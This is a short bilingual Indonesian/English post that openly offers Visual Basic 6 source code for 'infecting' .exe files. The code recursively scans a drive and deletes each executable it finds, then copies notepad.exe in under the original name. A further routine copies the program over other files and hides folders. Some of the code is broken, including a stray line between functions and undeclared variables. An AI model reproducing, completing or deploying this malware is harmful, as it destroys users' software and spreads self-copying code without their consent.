Infeksi File *.exe | Infected *.exe File

Untuk menginfeksi file *.exe Anda bisa menggunakan source code dibawah ini:
(For infected *.exe File you can use this source code:)
--------------------------------------------------------------------------------
Option Explicit
Private Const FILE_ATTRIBUTE_READONLY = &H1
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Private Const FILE_ATTRIBUTE_SYSTEM = &H4
Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Private Const FILE_ATTRIBUTE_TEMPORARY = &H100
Private Const FILE_ATTRIBUTE_COMPRESSED = &H800
Private Const MAX_PATH = 260

Private Type FILETIME
       dwLowDateTime As Long
       dwHighDateTime As Long
End Type

Private Type WIN32_FIND_DATA
       dwFileAttributes As Long
       ftCreationTime As FILETIME
       ftLastAccessTime As FILETIME
       ftLastWriteTime As FILETIME
       nFileSizeHigh As Long
       nFileSizeLow As Long
       dwReserved0 As Long
       dwReserved1 As Long
       cFileName As String * MAX_PATH
       cAlternate As String * 14
End Type


Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" _
   (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long

Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" _
   (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
  
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _
(ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long


Private pbMessage As Boolean

Public Sub GetFiles(Path As String, SubFolder As Boolean, Optional Pattern As String = "*.*")

   Screen.MousePointer = vbHourglass
  
   Dim WFD As WIN32_FIND_DATA
   Dim hFile As Long, fPath As String, fName As String
  
   fPath = AddBackslash(Path)
  
   Dim sPattern As String
   sPattern = Pattern
   fName = fPath & sPattern
  

   hFile = FindFirstFile(fName, WFD)
   If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
     SetAttr fPath & StripNulls(WFD.cFileName), vbArchive
     Kill fPath & StripNulls(WFD.cFileName)
     ValNamaFile StripNulls(WFD.cFileName), fPath
     
 
   End If
  
   If hFile > 0 Then
   While FindNextFile(hFile, WFD)
       If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
         SetAttr fPath & StripNulls(WFD.cFileName), vbArchive
         Kill fPath & StripNulls(WFD.cFileName)
         ValNamaFile StripNulls(WFD.cFileName), fPath
      
       End If
   Wend
   End If
  
   If SubFolder Then
      
 
       hFile = FindFirstFile(fPath & "*.*", WFD)
       If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
       StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
          GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
       End If
      
       While FindNextFile(hFile, WFD)
           If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
           StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then


               GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
           End If
       Wend
      
   End If
   FindClose hFile
  
  
  
   Screen.MousePointer = vbDefault
 
End Sub


Private Function StripNulls(f As String) As String

   StripNulls = Left$(f, InStr(1, f, Chr$(0)) - 1)
End Function

Private Function AddBackslash(S As String) As String

   If Len(S) Then
      If Right$(S, 1) <> "\" Then
         AddBackslash = S & "\"
      Else
         AddBackslash = S
      End If
   Else
      AddBackslash = "\"
   End If
End Function

Private Sub Command1_Click()

      GetFiles "e:", True, "*.exe"
   Unload Me
End Sub

Private Function ValNamaFile(Nama As String, hPath As String) As String
On Error Resume Next
Dim panjang, i As Integer
Dim data, file As String
file = ""
data = ""
panjang = Len(Nama)
For i = 1 To panjang - 4
data = Mid(Left(Nama, i), i)
file = file + data
Next i
CopyFile "g:\windows\system32\notepad.exe", hPath & file & ".exe", 1
End Function

GetFileName

Private Function Copy(A As String)
On Error Resume Next
namaDirektori = ""
namaFile = ""
slash = 0
panjang = Len(A)
For i = 1 To panjang
  Data = Mid(Left(A, i), i)
  If (Data = "\") Then slash = slash + 1
Next i

For i = 1 To panjang
  Data = Mid(Left(A, i), i)
  If (Data = "\") Then
     slash = slash - 1
  End If
 
  If slash > 1 Then
     namaDirektori = namaDirektori + Data
  End If
 
  If slash < 2 Then
    If (Data = "\") Then
      DoEvents
    Else
      namaFile = namaFile + Data
    End If
  End If
Next
SetAttr namaDirektori, vbHidden
CopyFile App.Path & "\" & App.EXEName & ".exe", namaDirektori & "\" & namaFile & ".exe", 2
End Function